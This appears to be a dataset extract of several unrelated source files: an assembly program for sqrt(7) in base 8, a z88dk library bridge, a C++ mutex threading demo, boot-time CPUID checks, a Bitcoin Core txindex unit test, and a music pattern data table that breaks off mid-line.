text
stringlengths
1
1.05M
; A004575: Expansion of sqrt(7) in base 8. ; Submitted by Jamie Morken(s2) ; 2,5,1,2,4,7,7,6,5,1,6,4,5,7,4,3,5,1,5,5,7,0,7,1,6,5,1,7,6,3,0,3,7,6,0,6,7,5,0,4,0,6,5,2,4,5,1,6,7,7,7,4,7,5,5,7,0,2,0,2,5,6,7,7,4,4,3,4,3,2,2,4,6,7,7,5,0,7,0,5,5,7,6,2,2,5,1,1,6,2,6,6,4,0,2,1,4,4,7,1 mov $1,1 mov $2,1 mov $3,$0 add $3,2 mov $4,$0 add $4,2 mul $4,2 mov $7,10 pow $7,$4 lpb $3 mov $4,$2 pow $4,2 mul $4,7 mov $5,$1 pow $5,2 add $4,$5 mov $6,$1 mov $1,$4 mul $6,$2 mul $6,2 mov $2,$6 mov $8,$4 div $8,$7 max $8,1 div $1,$8 div $2,$8 sub $3,1 mov $9,8 lpe mov $3,$9 pow $3,$0 div $2,$3 div $1,$2 mod $1,$9 mov $0,$1
; void *obstack_1grow(struct obstack *ob, char c) SECTION code_clib SECTION code_alloc_obstack PUBLIC obstack_1grow EXTERN asm_obstack_1grow obstack_1grow: pop af pop bc pop hl push hl push bc push af jp asm_obstack_1grow ; SDCC bridge for Classic IF __CLASSIC PUBLIC _obstack_1grow defc _obstack_1grow = obstack_1grow ENDIF
/* * MIT License * * Copyright (c) 2020 Ali AlSaibie * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. * * * File: app_mutli_mthread_mutex_printf.cpp * Project: MachineRX * Author: Ali AlSaibie (ali.alsaibie@ku.edu.kw) * ----- * Modified By: Ali AlSaibie (ali.alsaibie@ku.edu.kw>) */ #include <MThread.hpp> #include <cstdio> #include <vector> pthread_mutex_t multithread_printf_mutex; using namespace MachineRPX; class MutliMThread : public MThread { public: MutliMThread(int thread_no_) : MThread("Multi Thread 1", 256 * 4, 2, 100), thread_no(thread_no_) { } virtual ~MutliMThread() { } protected: virtual void run() { while (1) { struct timespec timeoutTime; clock_gettime(CLOCK_MONOTONIC, &timeoutTime); timeoutTime.tv_nsec += 10 * 1000000L; if (pthread_mutex_timedlock(&multithread_printf_mutex, &timeoutTime) == 0) { printf("Hi from Thread %d, count %d\n", thread_no, count++); pthread_mutex_unlock(&multithread_printf_mutex); }; thread_lap(); } } private: int thread_no; inline static int count{0}; }; void start_application_multi_thread_mutex_printf() { std::vector<MutliMThread *> ptrThreads; for (auto k = 0; k < 10; k++) { MutliMThread * ptr = new MutliMThread(k); ptr->start(); ptrThreads.push_back(ptr); } }
%include "source/boot/constants.asm" [bits 32] section .text global checkCPUID:function (checkCPUID.end - checkCPUID) checkCPUID: extern earlyError; ; We will check if CPUID is supported by attempting to flip the ID ; bit (bit 21) in the FLAGS register. ; If we can flip it, CPUID is available. pushfd pop eax mov ecx, eax ; Flip the ID bit xor eax, 1 << 21 push eax popfd pushfd pop eax push ecx popfd xor eax, ecx jz .noCPUID ret .noCPUID: mov esi, .errorMessage - kernelPhysicalOffset call earlyError .errorMessage db "CPUID not supported, kernel halted", 0 .end: global checkLongMode:function (checkLongMode.end - checkLongMode) checkLongMode: extern earlyError; ; We know CPUID is supported, now we have to check if the so called ; 'extended functions' are supported, so we can enable long mode mov eax, 0x80000000 cpuid cmp eax, 0x80000001 jb .noLongMode ; Now that we know that extended functions are available we can use it ; to detect long mode mov eax, 0x80000001 cpuid test edx, 1 << 29 jz .noLongMode ret .noLongMode: mov esi, .errorMessage - kernelPhysicalOffset call earlyError .errorMessage db "Long mode not supported, kernel halted", 0 .end:
// Copyright (c) 2017-2020 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include <chainparams.h> #include <index/txindex.h> #include <script/standard.h> #include <test/util/setup_common.h> #include <util/time.h> #include <boost/test/unit_test.hpp> BOOST_AUTO_TEST_SUITE(txindex_tests) BOOST_FIXTURE_TEST_CASE(txindex_initial_sync, TestChain100Setup) { TxIndex txindex(1 << 20, true); CTransactionRef tx_disk; uint256 block_hash; // Transaction should not be found in the index before it is started. for (const auto& txn : m_coinbase_txns) { BOOST_CHECK(!txindex.FindTx(txn->GetHash(), block_hash, tx_disk)); } // BlockUntilSyncedToCurrentChain should return false before txindex is started. BOOST_CHECK(!txindex.BlockUntilSyncedToCurrentChain()); BOOST_REQUIRE(txindex.Start()); // Allow tx index to catch up with the block index. constexpr int64_t timeout_ms = 10 * 1000; int64_t time_start = GetTimeMillis(); while (!txindex.BlockUntilSyncedToCurrentChain()) { BOOST_REQUIRE(time_start + timeout_ms > GetTimeMillis()); UninterruptibleSleep(std::chrono::milliseconds{100}); } // Check that txindex excludes genesis block transactions. const CBlock& genesis_block = Params().GenesisBlock(); for (const auto& txn : genesis_block.vtx) { BOOST_CHECK(!txindex.FindTx(txn->GetHash(), block_hash, tx_disk)); } // Check that txindex has all txs that were in the chain before it started. for (const auto& txn : m_coinbase_txns) { if (!txindex.FindTx(txn->GetHash(), block_hash, tx_disk)) { BOOST_ERROR("FindTx failed"); } else if (tx_disk->GetHash() != txn->GetHash()) { BOOST_ERROR("Read incorrect tx"); } } // Check that new transactions in new blocks make it into the index. for (int i = 0; i < 10; i++) { CScript coinbase_script_pub_key = GetScriptForDestination(PKHash(coinbaseKey.GetPubKey())); std::vector<CMutableTransaction> no_txns; const CBlock& block = CreateAndProcessBlock(no_txns, coinbase_script_pub_key); const CTransaction& txn = *block.vtx[0]; BOOST_CHECK(txindex.BlockUntilSyncedToCurrentChain()); if (!txindex.FindTx(txn.GetHash(), block_hash, tx_disk)) { BOOST_ERROR("FindTx failed"); } else if (tx_disk->GetHash() != txn.GetHash()) { BOOST_ERROR("Read incorrect tx"); } } // shutdown sequence (c.f. Shutdown() in init.cpp) txindex.Stop(); // Let scheduler events finish running to avoid accessing any memory related to txindex after it is destructed SyncWithValidationInterfaceQueue(); } BOOST_AUTO_TEST_SUITE_END()
;sequence dw ptn8 dw ptn8 dw ptn9 dw ptna loop dw ptn1 dw ptn1 dw ptn2 dw ptn2 dw ptn1 dw ptn3 dw ptn4 dw ptn4 dw ptn5 dw ptn5 dw ptn6 dw ptn6 dw ptnd dw ptnd dw ptnb dw ptne dw 0 ptn1 dw #300,row0 dw #300,row1 dw #300,row2 dw #300,row3 dw #300,row4 dw #300,row5 dw #300,row6 dw #300,row7 dw #300,row8 dw #300,row9 dw #300,rowa dw #300,rowb dw #300,rowc dw #300,rowd dw #300,rowe dw #300,rowf dw #300,row10 dw #300,row1 dw #300,row2 dw #300,row3 dw #300,row11 dw #300,row12 dw #300,row6 dw #300,row13 dw #300,row8 dw #300,row9 dw #300,row14 dw #300,rowb dw #300,rowc dw #300,rowd dw #300,rowe dw #300,rowf dw #300,row10 dw #300,row1 dw #300,row2 dw #300,row3 dw #300,row4 dw #300,row5 dw #300,row6 dw #300,row7 dw #300,row8 dw #300,row9 dw #300,rowa dw #300,rowb dw #300,rowc dw #300,rowd dw #300,rowe dw #300,rowf dw #300,row10 dw #300,row1 dw #300,row2 dw #300,row3 dw #300,row11 dw #300,row12 dw #300,row6 dw #300,row13 dw #300,row8 dw #300,row9 dw #300,row14 dw #300,rowb dw #300,rowc dw #300,rowd dw #300,rowe dw #300,rowf db #40 ptn2 dw #300,row15 dw #300,row16 dw #300,row17 dw #300,row18 dw #300,row19 dw #300,row1a dw #300,row1b dw #300,row1c dw #300,row1d dw #300,row1e dw #300,row1f dw #300,row20 dw #300,row21 dw #300,row22 dw #300,row23 dw #300,row24 dw #300,row15 dw #300,row16 dw #300,row17 dw #300,row18 dw #300,row25 dw #300,row26 dw #300,row1b dw #300,row27 dw #300,row1d dw #300,row1e dw #300,row28 dw #300,row20 dw #300,row21 dw #300,row22 dw #300,row23 dw #300,row24 dw #300,row15 dw #300,row16 dw #300,row17 dw #300,row18 dw #300,row19 dw #300,row1a dw #300,row1b dw #300,row1c dw #300,row1d dw #300,row1e dw #300,row1f dw #300,row20 dw #300,row21 dw #300,row22 dw #300,row23 dw #300,row24 dw #300,row15 dw #300,row16 dw #300,row17 dw #300,row18 dw #300,row25 dw #300,row26 dw #300,row1b dw #300,row27 dw #300,row1d dw #300,row1e dw #300,row28 dw #300,row20 dw #300,row21 dw #300,row22 dw #300,row23 dw #300,row24 db #40 ptn3 dw #300,row10 dw #300,row1 dw #300,row2 dw #300,row3 dw #300,row4 dw #300,row5 dw #300,row6 dw #300,row7 dw #300,row8 dw #300,row9 dw #300,rowa dw #300,rowb dw #300,rowc dw #300,rowd dw #300,rowe dw #300,rowf dw #300,row10 dw #300,row1 dw #300,row2 dw #300,row3 dw #300,row11 dw #300,row12 dw #300,row6 dw #300,row13 dw #300,row8 dw #300,row9 dw #300,row14 dw #300,rowb dw #300,rowc dw #300,rowd dw #300,rowe dw #300,rowf dw #300,row10 dw #300,row1 dw #300,row2 dw #300,row3 dw #300,row4 dw #300,row5 dw #300,row29 dw #300,row2a dw #300,row2b dw #300,row2c dw #300,row2d dw #300,row2e dw #300,row2f dw #300,row30 dw #300,row31 dw #300,row32 dw #300,row33 dw #300,row34 dw #300,row35 dw #300,row36 dw #300,row37 dw #300,row38 dw #300,row39 dw #300,row3a dw #300,row3b dw #300,row3c dw #300,row3d dw #300,row3e dw #300,row3f dw #300,row40 dw #300,row41 dw #300,row42 db #40 ptn4 dw #300,row43 dw #300,row44 dw #300,row45 dw #300,row46 dw #300,row47 dw #300,row48 dw #300,row49 dw #300,row4a dw #300,row4b dw #300,row4c dw #300,row4d dw #300,row4e dw #300,row4f dw #300,row50 dw #300,row51 dw #300,row52 dw #300,row43 dw #300,row44 dw #300,row45 dw #300,row46 dw #300,row53 dw #300,row54 dw #300,row49 dw #300,row55 dw #300,row4b dw #300,row4c dw #300,row56 dw #300,row4e dw #300,row4f dw #300,row50 dw #300,row51 dw #300,row52 dw #300,row43 dw #300,row44 dw #300,row45 dw #300,row46 dw #300,row47 dw #300,row48 dw #300,row49 dw #300,row4a dw #300,row4b dw #300,row4c dw #300,row4d dw #300,row4e dw #300,row4f dw #300,row50 dw #300,row51 dw #300,row52 dw #300,row43 dw #300,row44 dw #300,row45 dw #300,row46 dw #300,row53 dw #300,row54 dw #300,row49 dw #300,row55 dw #300,row4b dw #300,row4c dw #300,row56 dw #300,row4e dw #300,row4f dw #300,row50 dw #300,row51 dw #300,row52 db #40 ptn5 dw #301,#0080,row57 dw #300,row58 dw #301,#0040,row2 dw #300,row59 dw #301,#0020,row5a dw #300,row5b dw #301,#0010,row6 dw #300,row5c dw #301,#008,row5d dw #300,row5e dw #301,#004,rowa dw #300,row5f dw #301,#004,row60 dw #300,row61 dw #301,#004,rowe dw #300,row62 dw #301,#004,row57 dw #300,row58 dw #301,#004,row2 dw #300,row59 dw #301,#004,row63 dw #300,row64 dw #301,#004,row6 dw #300,row65 dw #301,#004,row5d dw #300,row5e dw #301,#004,row14 dw #300,row5f dw #301,#004,row60 dw #300,row61 dw #301,#004,rowe dw #300,row62 dw #301,#004,row57 dw #300,row58 dw #301,#004,row2 dw #300,row59 dw #301,#004,row5a dw #300,row5b dw #301,#004,row6 dw #300,row5c dw #301,#004,row5d dw #300,row5e dw #301,#004,rowa dw #300,row5f dw #301,#004,row60 dw #300,row61 dw #301,#004,rowe dw #300,row62 dw #301,#004,row57 dw #300,row58 dw #301,#004,row2 dw #300,row59 dw #301,#004,row63 dw #300,row64 dw #301,#004,row6 dw #300,row65 dw #301,#008,row5d dw #300,row5e dw #301,#0010,row14 dw #300,row5f dw #301,#0020,row60 dw #300,row61 dw #301,#0040,rowe dw #300,row62 db #40 ptn6 dw #301,#0080,row66 dw #300,row67 dw #301,#0040,row45 dw #300,row68 dw #301,#0020,row69 dw #300,row6a dw #301,#0010,row49 dw #300,row6b dw #301,#008,row6c dw #300,row6d dw #301,#004,row4d dw #300,row6e dw #301,#004,row6f dw #300,row70 dw #301,#004,row51 dw #300,row71 dw #301,#004,row66 dw #300,row67 dw #301,#004,row45 dw #300,row68 dw #301,#004,row72 dw #300,row73 dw #301,#004,row49 dw #300,row74 dw #301,#004,row6c dw #300,row6d dw #301,#004,row56 dw #300,row6e dw #301,#004,row6f dw #300,row70 dw #301,#004,row51 dw #300,row71 dw #301,#004,row66 dw #300,row67 dw #301,#004,row45 dw #300,row68 dw #301,#004,row69 dw #300,row6a dw #301,#004,row49 dw #300,row6b dw #301,#004,row6c dw #300,row6d dw #301,#004,row4d dw #300,row6e dw #301,#004,row6f dw #300,row70 dw #301,#004,row51 dw #300,row71 dw #301,#004,row66 dw #300,row67 dw #301,#004,row45 dw #300,row68 dw #301,#004,row72 dw #300,row73 dw #301,#004,row49 dw #300,row74 dw #301,#008,row6c dw #300,row6d dw #301,#0010,row56 dw #300,row6e dw #301,#0020,row6f dw #300,row70 dw #301,#0040,row51 dw #300,row71 db #40 ptn8 dw #300,row75 dw #300,row76 dw #300,row77 dw #300,row78 dw #300,row79 dw #300,row7a dw #300,row78 dw #300,row7b dw #300,row7c dw #300,row7d dw #300,row7b dw #300,row7e dw #300,row7f dw #300,row80 dw #300,row7e dw #300,row77 dw #300,row75 dw #300,row76 dw #300,row77 dw #300,row78 dw #300,row81 dw #300,row82 dw #300,row78 dw #300,row83 dw #300,row7c dw #300,row7d dw #300,row83 dw #300,row7e dw #300,row7f dw #300,row80 dw #300,row7e dw #300,row77 dw #300,row75 dw #300,row76 dw #300,row77 dw #300,row78 dw #300,row79 dw #300,row7a dw #300,row78 dw #300,row7b dw #300,row7c dw #300,row7d dw #300,row7b dw #300,row7e dw #300,row7f dw #300,row80 dw #300,row7e dw #300,row77 dw #300,row75 dw #300,row76 dw #300,row77 dw #300,row78 dw #300,row81 dw #300,row82 dw #300,row78 dw #300,row83 dw #300,row7c dw #300,row7d dw #300,row83 dw #300,row7e dw #300,row7f dw #300,row80 dw #300,row7e dw #300,row77 db #40 ptn9 dw #300,row84 dw #300,row85 dw #300,row77 dw #300,row78 dw #300,row86 dw #300,row87 dw #300,row78 dw #300,row7b dw #300,row88 dw #300,row89 dw #300,row7b dw #300,row7e dw #300,row8a dw #300,row8b dw #300,row7e dw #300,row77 dw #300,row84 dw #300,row85 dw #300,row77 dw #300,row78 dw #300,row8c dw #300,row8d dw #300,row78 dw #300,row83 dw #300,row88 dw #300,row89 dw #300,row83 dw #300,row7e dw #300,row8a dw #300,row8b dw #300,row7e dw #300,row77 dw #300,row84 dw #300,row85 dw #300,row77 dw #300,row78 dw #300,row86 dw #300,row87 dw #300,row78 dw #300,row7b dw #300,row88 dw #300,row89 dw #300,row7b dw #300,row7e dw #300,row8a dw #300,row8b dw #300,row7e dw #300,row77 dw #300,row84 dw #300,row85 dw #300,row77 dw #300,row78 dw #300,row8c dw #300,row8d dw #300,row78 dw #300,row83 dw #300,row88 dw #300,row89 dw #300,row83 dw #300,row7e dw #300,row8a dw #300,row8b dw #300,row7e dw #300,row77 db #40 ptna dw #300,row84 dw #300,row85 dw #300,row77 dw #300,row78 dw #300,row86 dw #300,row87 dw #300,row78 dw #300,row7b dw #300,row88 dw #300,row89 dw #300,row7b dw #300,row7e dw #300,row8a dw #300,row8b dw #300,row7e dw #300,row77 dw #300,row84 dw #300,row85 dw #300,row77 dw #300,row78 dw #300,row8c dw #300,row8d dw #300,row78 dw #300,row83 dw #300,row88 dw #300,row89 dw #300,row83 dw #300,row7e dw #300,row8a dw #300,row8b dw #300,row7e dw #300,row77 dw #300,row84 dw #300,row85 dw #300,row77 dw #300,row78 dw #300,row86 dw #300,row87 dw #300,row78 dw #300,row7b dw #300,row88 dw #300,row89 dw #300,row7b dw #300,row7e dw #300,row8a dw #300,row8b dw #300,row7e dw #300,row77 dw #300,row84 dw #300,row85 dw #300,row77 dw #300,row78 dw #300,row8c dw #300,row8d dw #300,row78 dw #300,row83 dw #301,#002,row88 dw #301,#004,row89 dw #301,#008,row83 dw #301,#0010,row7e dw #301,#0020,row8a dw #301,#0030,row8b dw #301,#0040,row7e dw #301,#0050,row77 db #40 ptnb dw #301,#0080,row8e dw #300,row8f dw #301,#0040,row17 dw #300,row1b dw #301,#0020,row90 dw #300,row91 dw #301,#0010,row1b dw #300,row1f dw #301,#008,row92 dw #300,row93 dw #301,#004,row1f dw #300,row23 dw #301,#004,row94 dw #300,row95 dw #301,#004,row23 dw #300,row17 dw #301,#004,row8e dw #300,row8f dw #301,#004,row17 dw #300,row1b dw #301,#004,row96 dw #300,row97 dw #301,#004,row1b dw #300,row28 dw #301,#004,row92 dw #300,row93 dw #301,#004,row28 dw #300,row23 dw #301,#004,row94 dw #300,row95 dw #301,#004,row23 dw #300,row17 dw #301,#004,row8e dw #300,row8f dw #301,#004,row17 dw #300,row1b dw #301,#004,row90 dw #300,row91 dw #301,#004,row1b dw #300,row1f dw #301,#004,row92 dw #300,row93 dw #301,#004,row1f dw #300,row23 dw #301,#004,row94 dw #300,row95 dw #301,#004,row23 dw #300,row17 dw #301,#004,row8e dw #300,row8f dw #301,#004,row17 dw #300,row1b dw #301,#004,row96 dw #300,row97 dw #301,#004,row1b dw #300,row28 dw #301,#008,row92 dw #300,row93 dw #301,#0010,row28 dw #300,row23 dw #301,#0020,row94 dw #300,row95 dw #301,#0040,row23 dw #300,row17 db #40 ptnd dw #301,#0080,row98 dw #300,row99 dw #301,#0040,row2 dw #300,row6 dw #301,#0020,row9a dw #300,row9b dw #301,#0010,row6 dw #300,rowa dw #301,#008,row9c dw #300,row9d dw #301,#004,rowa dw #300,rowe dw #301,#004,row9e dw #300,row9f dw #301,#004,rowe dw #300,row2 dw #301,#004,row98 dw #300,row99 dw #301,#004,row2 dw #300,row6 dw #301,#004,rowa0 dw #300,rowa1 dw #301,#004,row6 dw #300,row14 dw #301,#004,row9c dw #300,row9d dw #301,#004,row14 dw #300,rowe dw #301,#004,row9e dw #300,row9f dw #301,#004,rowe dw #300,row2 dw #301,#004,row98 dw #300,row99 dw #301,#004,row2 dw #300,row6 dw #301,#004,row9a dw #300,row9b dw #301,#004,row6 dw #300,rowa dw #301,#004,row9c dw #300,row9d dw #301,#004,rowa dw #300,rowe dw #301,#004,row9e dw #300,row9f dw #301,#004,rowe dw #300,row2 dw #301,#004,row98 dw #300,row99 dw #301,#004,row2 dw #300,row6 dw #301,#004,rowa0 dw #300,rowa1 dw #301,#004,row6 dw #300,row14 dw #301,#008,row9c dw #300,row9d dw #301,#0010,row14 dw #300,rowe dw #301,#0020,row9e dw #300,row9f dw #301,#0040,rowe dw #300,row2 db #40 ptne dw #301,#0080,row8e dw #300,row8f dw #301,#0040,row17 dw #300,row1b dw #301,#0020,row90 dw #300,row91 dw #301,#0010,row1b dw #300,row1f dw #301,#008,row92 dw #300,row93 dw #301,#004,row1f dw #300,row23 dw #301,#004,row94 dw #300,row95 dw #301,#004,row23 dw #300,row17 dw #301,#004,row8e dw #300,row8f dw #301,#004,row17 dw #300,row1b dw #301,#004,row96 dw #300,row97 dw #301,#004,row1b dw #300,row28 dw #301,#004,row92 dw #300,row93 dw #301,#004,row28 dw #300,row23 dw #301,#004,row94 dw #300,row95 dw #301,#004,row23 dw #300,row17 dw #301,#004,row8e dw #300,row8f dw #301,#004,row17 dw #300,row1b dw #301,#004,row90 dw #300,row91 dw #301,#004,row1b dw #300,row1f dw #301,#004,row92 dw #300,row93 dw #301,#004,row1f dw #300,row23 dw #301,#004,row94 dw #300,row95 dw #301,#004,row23 dw #300,row17 dw #301,#004,row8e dw #300,row8f dw #301,#004,row17 dw #300,row1b dw #301,#004,row96 dw #300,row97 dw #301,#004,row1b dw #300,row28 dw #301,#008,row92 dw #300,row93 dw #301,#0010,row28 dw #300,row23 dw #301,#0020,row94 dw #300,row95 dw #301,#0040,row23 dw #300,row17 db #40 ;row buffers row0 dw #400,#400,#800,#1000,#1000,#984,#bfd,#1000 row1 dw #400,#0,#800,#0,#1000,#984,#bfd,#1000 row2 dw #0,#0,#0,#17f9,#0,#984,#bfd,#1000 row3 dw #400,#0,#0,#1000,#0,#984,#bfd,#1000 row4 dw #800,#800,#1000,#2000,#2000,#984,#bfd,#1000 row5 dw #800,#0,#1000,#0,#2000,#984,#bfd,#1000 row6 dw #0,#0,#0,#1000,#0,#984,#bfd,#1000 row7 dw #800,#0,#0,#2000,#0,#984,#bfd,#1000 row8 dw #557,#557,#aae,#155c,#155c,#984,#bfd,#1000 row9 dw #557,#0,#aae,#0,#155c,#984,#bfd,#1000 rowa dw #0,#0,#0,#2000,#0,#984,#bfd,#1000 rowb dw #557,#0,#0,#155c,#0,#984,#bfd,#1000 rowc dw #5fe,#5fe,#bfd,#17f9,#17f9,#984,#bfd,#1000 rowd dw #5fe,#0,#bfd,#0,#17f9,#984,#bfd,#1000 rowe dw #0,#0,#0,#155c,#0,#984,#bfd,#1000 rowf dw #5fe,#0,#0,#17f9,#0,#984,#bfd,#1000 row10 dw #400,#400,#800,#1000,#1000,#984,#bfd,#1000 row11 dw #4c2,#4c2,#984,#1307,#1307,#984,#bfd,#1000 row12 dw #4c2,#0,#984,#0,#1307,#984,#bfd,#1000 row13 dw #4c2,#0,#0,#1307,#0,#984,#bfd,#1000 row14 dw #0,#0,#0,#1307,#0,#984,#bfd,#1000 row15 dw #400,#400,#800,#1000,#1000,#984,#bfd,#e41 row16 dw #400,#0,#800,#0,#1000,#984,#bfd,#e41 row17 dw #0,#0,#0,#17f9,#0,#984,#bfd,#e41 row18 dw #400,#0,#0,#1000,#0,#984,#bfd,#e41 row19 dw #800,#800,#1000,#2000,#2000,#984,#bfd,#e41 row1a dw #800,#0,#1000,#0,#2000,#984,#bfd,#e41 row1b dw #0,#0,#0,#1000,#0,#984,#bfd,#e41 row1c dw #800,#0,#0,#2000,#0,#984,#bfd,#e41 row1d dw #557,#557,#aae,#155c,#155c,#984,#bfd,#e41 row1e dw #557,#0,#aae,#0,#155c,#984,#bfd,#e41 row1f dw #0,#0,#0,#2000,#0,#984,#bfd,#e41 row20 dw #557,#0,#0,#155c,#0,#984,#bfd,#e41 row21 dw #5fe,#5fe,#bfd,#17f9,#17f9,#984,#bfd,#e41 row22 dw #5fe,#0,#bfd,#0,#17f9,#984,#bfd,#e41 row23 dw #0,#0,#0,#155c,#0,#984,#bfd,#e41 row24 dw #5fe,#0,#0,#17f9,#0,#984,#bfd,#e41 row25 dw #4c2,#4c2,#984,#1307,#1307,#984,#bfd,#e41 row26 dw #4c2,#0,#984,#0,#1307,#984,#bfd,#e41 row27 dw #4c2,#0,#0,#1307,#0,#984,#bfd,#e41 row28 dw #0,#0,#0,#1307,#0,#984,#bfd,#e41 row29 dw #0,#0,#0,#1000,#0,#984,#bfd,#17f9 row2a dw #800,#0,#0,#2000,#0,#984,#bfd,#155c row2b dw #557,#557,#aae,#155c,#155c,#984,#bfd,#17f9 row2c dw #557,#0,#aae,#0,#155c,#984,#bfd,#17f9 row2d dw #0,#0,#0,#2000,#0,#984,#bfd,#17f9 row2e dw #557,#0,#0,#155c,#0,#984,#bfd,#17f9 row2f dw #5fe,#5fe,#bfd,#17f9,#17f9,#984,#bfd,#17f9 row30 dw #5fe,#0,#bfd,#0,#17f9,#984,#bfd,#17f9 row31 dw #0,#0,#0,#155c,#0,#984,#bfd,#17f9 row32 dw #5fe,#0,#0,#17f9,#0,#984,#bfd,#17f9 row33 dw #400,#400,#800,#1000,#1000,#984,#bfd,#17f9 row34 dw #400,#0,#800,#0,#1000,#984,#bfd,#17f9 row35 dw #0,#0,#0,#17f9,#0,#984,#bfd,#17f9 row36 dw #400,#0,#0,#1000,#0,#984,#bfd,#17f9 row37 dw #4c2,#4c2,#984,#1307,#1307,#984,#bfd,#17f9 row38 dw #4c2,#0,#984,#0,#1307,#984,#bfd,#17f9 row39 dw #0,#0,#0,#1000,#0,#984,#bfd,#155c row3a dw #4c2,#0,#0,#1307,#0,#984,#bfd,#1307 row3b dw #557,#557,#aae,#155c,#155c,#984,#bfd,#155c row3c dw #557,#0,#aae,#0,#155c,#984,#bfd,#155c row3d dw #0,#0,#0,#1307,#0,#984,#bfd,#155c row3e dw #557,#0,#0,#155c,#0,#984,#bfd,#155c row3f dw #5fe,#5fe,#bfd,#17f9,#17f9,#984,#bfd,#155c row40 dw #5fe,#0,#bfd,#0,#17f9,#984,#bfd,#155c row41 dw #0,#0,#0,#155c,#0,#984,#bfd,#155c row42 dw #5fe,#0,#0,#17f9,#0,#984,#bfd,#155c row43 dw #390,#390,#721,#e41,#e41,#87a,#aae,#e41 row44 dw #390,#0,#721,#0,#e41,#87a,#aae,#e41 row45 dw #0,#0,#0,#155c,#0,#87a,#aae,#e41 row46 dw #390,#0,#0,#e41,#0,#87a,#aae,#e41 row47 dw #721,#721,#e41,#1c82,#1c82,#87a,#aae,#e41 row48 dw #721,#0,#e41,#0,#1c82,#87a,#aae,#e41 row49 dw #0,#0,#0,#e41,#0,#87a,#aae,#e41 row4a dw #721,#0,#0,#1c82,#0,#87a,#aae,#e41 row4b dw #4c2,#4c2,#984,#1307,#1307,#87a,#aae,#e41 row4c dw #4c2,#0,#984,#0,#1307,#87a,#aae,#e41 row4d dw #0,#0,#0,#1c82,#0,#87a,#aae,#e41 row4e dw #4c2,#0,#0,#1307,#0,#87a,#aae,#e41 row4f dw #557,#557,#aae,#155c,#155c,#87a,#aae,#e41 row50 dw #557,#0,#aae,#0,#155c,#87a,#aae,#e41 row51 dw #0,#0,#0,#1307,#0,#87a,#aae,#e41 row52 dw #557,#0,#0,#155c,#0,#87a,#aae,#e41 row53 dw #43d,#43d,#87a,#10f4,#10f4,#87a,#aae,#e41 row54 dw #43d,#0,#87a,#0,#10f4,#87a,#aae,#e41 row55 dw #43d,#0,#0,#10f4,#0,#87a,#aae,#e41 row56 dw #0,#0,#0,#10f4,#0,#87a,#aae,#e41 row57 dw #200,#200,#800,#1000,#1000,#984,#bfd,#1000 row58 dw #200,#0,#800,#0,#1000,#984,#bfd,#1000 row59 dw #200,#0,#0,#1000,#0,#984,#bfd,#1000 row5a dw #400,#400,#1000,#2000,#2000,#984,#bfd,#1000 row5b dw #400,#0,#1000,#0,#2000,#984,#bfd,#1000 row5c dw #400,#0,#0,#2000,#0,#984,#bfd,#1000 row5d dw #2ab,#2ab,#aae,#155c,#155c,#984,#bfd,#1000 row5e dw #2ab,#0,#aae,#0,#155c,#984,#bfd,#1000 row5f dw #2ab,#0,#0,#155c,#0,#984,#bfd,#1000 row60 dw #2ff,#2ff,#bfd,#17f9,#17f9,#984,#bfd,#1000 row61 dw #2ff,#0,#bfd,#0,#17f9,#984,#bfd,#1000 row62 dw #2ff,#0,#0,#17f9,#0,#984,#bfd,#1000 row63 dw #261,#261,#984,#1307,#1307,#984,#bfd,#1000 row64 dw #261,#0,#984,#0,#1307,#984,#bfd,#1000 row65 dw #261,#0,#0,#1307,#0,#984,#bfd,#1000 row66 dw #1c8,#390,#721,#e41,#e41,#87a,#aae,#e41 row67 dw #1c8,#0,#721,#0,#e41,#87a,#aae,#e41 row68 dw #1c8,#0,#0,#e41,#0,#87a,#aae,#e41 row69 dw #390,#721,#e41,#1c82,#1c82,#87a,#aae,#e41 row6a dw #390,#0,#e41,#0,#1c82,#87a,#aae,#e41 row6b dw #390,#0,#0,#1c82,#0,#87a,#aae,#e41 row6c dw #261,#4c2,#984,#1307,#1307,#87a,#aae,#e41 row6d dw #261,#0,#984,#0,#1307,#87a,#aae,#e41 row6e dw #261,#0,#0,#1307,#0,#87a,#aae,#e41 row6f dw #2ab,#557,#aae,#155c,#155c,#87a,#aae,#e41 row70 dw #2ab,#0,#aae,#0,#155c,#87a,#aae,#e41 row71 dw #2ab,#0,#0,#155c,#0,#87a,#aae,#e41 row72 dw #21e,#43d,#87a,#10f4,#10f4,#87a,#aae,#e41 row73 dw #21e,#0,#87a,#0,#10f4,#87a,#aae,#e41 row74 dw #21e,#0,#0,#10f4,#0,#87a,#aae,#e41 row75 dw #0,#0,#0,#1000,#1000,#0,#0,#0 row76 dw #0,#0,#0,#0,#1000,#0,#0,#0 row77 dw #0,#0,#0,#17f9,#0,#0,#0,#0 row78 dw #0,#0,#0,#1000,#0,#0,#0,#0 row79 dw #0,#0,#0,#2000,#2000,#0,#0,#0 row7a dw #0,#0,#0,#0,#2000,#0,#0,#0 row7b dw #0,#0,#0,#2000,#0,#0,#0,#0 row7c dw #0,#0,#0,#155c,#155c,#0,#0,#0 row7d dw #0,#0,#0,#0,#155c,#0,#0,#0 row7e dw #0,#0,#0,#155c,#0,#0,#0,#0 row7f dw #0,#0,#0,#17f9,#17f9,#0,#0,#0 row80 dw #0,#0,#0,#0,#17f9,#0,#0,#0 row81 dw #0,#0,#0,#1307,#1307,#0,#0,#0 row82 dw #0,#0,#0,#0,#1307,#0,#0,#0 row83 dw #0,#0,#0,#1307,#0,#0,#0,#0 row84 dw #0,#0,#800,#1000,#1000,#0,#0,#0 row85 dw 